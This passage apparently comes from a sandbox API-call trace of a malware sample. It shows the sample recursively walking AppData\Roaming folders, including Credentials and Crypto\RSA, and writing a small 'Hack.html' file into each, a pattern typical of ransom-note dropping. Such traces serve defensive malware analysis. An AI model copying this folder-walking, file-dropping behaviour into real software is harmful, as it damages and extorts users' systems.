lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\Hack.html", lpFilePart=0x0) returned 0x35 [0091.206] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.206] GetFileType (hFile=0x174) returned 0x1 [0091.206] GetFileType (hFile=0x174) returned 0x1 [0091.206] WriteFile (in: hFile=0x174, lpBuffer=0x27a9b04*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27a9b04*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0091.207] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0091.207] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpFilePart=0x0) returned 0x2b [0091.207] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0091.209] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.210] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.211] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0091.211] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\", lpFilePart=0x0) returned 0x2b [0091.211] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0091.212] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.212] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.212] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.213] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.213] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.213] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.213] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.213] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.213] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.214] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x36 [0091.214] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x37 [0091.214] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.215] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.215] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.215] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.215] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x36 [0091.215] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x37 [0091.215] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.215] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.215] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.216] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.216] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\Hack.html", lpFilePart=0x0) returned 0x40 [0091.216] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.216] GetFileType (hFile=0x174) returned 0x1 [0091.216] GetFileType (hFile=0x174) returned 0x1 [0091.216] WriteFile (in: hFile=0x174, lpBuffer=0x27afbd8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27afbd8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.217] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x31 [0091.217] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x32 [0091.217] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.218] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.218] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.218] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.218] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.218] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x31 [0091.218] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x32 [0091.218] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.218] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.219] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.219] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.219] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.219] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x35 [0091.219] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x36 [0091.219] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.219] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.219] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.219] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.219] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x35 [0091.220] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x36 [0091.220] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.220] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.220] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.220] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.220] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Hack.html", lpFilePart=0x0) returned 0x3f [0091.220] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.221] GetFileType (hFile=0x174) returned 0x1 [0091.221] GetFileType (hFile=0x174) returned 0x1 [0091.221] WriteFile (in: hFile=0x174, lpBuffer=0x27b4f78*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x27b4f78*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.223] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\Hack.html", lpFilePart=0x0) returned 0x3b [0091.223] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.224] GetFileType (hFile=0x174) returned 0x1 [0091.224] GetFileType (hFile=0x174) returned 0x1 [0091.224] WriteFile (in: hFile=0x174, lpBuffer=0x27b7768*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27b7768*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.225] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0091.225] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x3d [0091.225] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.225] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.225] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.225] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.225] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.226] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0091.226] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x3d [0091.226] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.226] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.226] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.226] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.226] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.226] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0091.226] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpFilePart=0x0) returned 0x4a [0091.226] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.228] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.228] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.228] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.228] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.229] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.229] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.229] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.229] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0091.229] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpFilePart=0x0) returned 0x4a [0091.230] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.230] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.230] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.230] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.231] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.231] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.231] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.231] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.232] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x55 [0091.232] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpFilePart=0x0) returned 0x56 [0091.232] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a628 [0091.232] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.233] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.233] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x55 [0091.233] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpFilePart=0x0) returned 0x56 [0091.233] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a628 [0091.233] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.234] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.234] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.234] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6a [0091.234] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpFilePart=0x0) returned 0x6b [0091.234] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a628 [0091.234] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.234] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0091.234] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.234] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6a [0091.234] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpFilePart=0x0) returned 0x6b [0091.234] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a628 [0091.234] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.235] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0091.235] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.235] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Hack.html", lpFilePart=0x0) returned 0x74 [0091.235] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.235] GetFileType (hFile=0x174) returned 0x1 [0091.235] GetFileType (hFile=0x174) returned 0x1 [0091.235] WriteFile (in: hFile=0x174, lpBuffer=0x27c27c0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x27c27c0*, 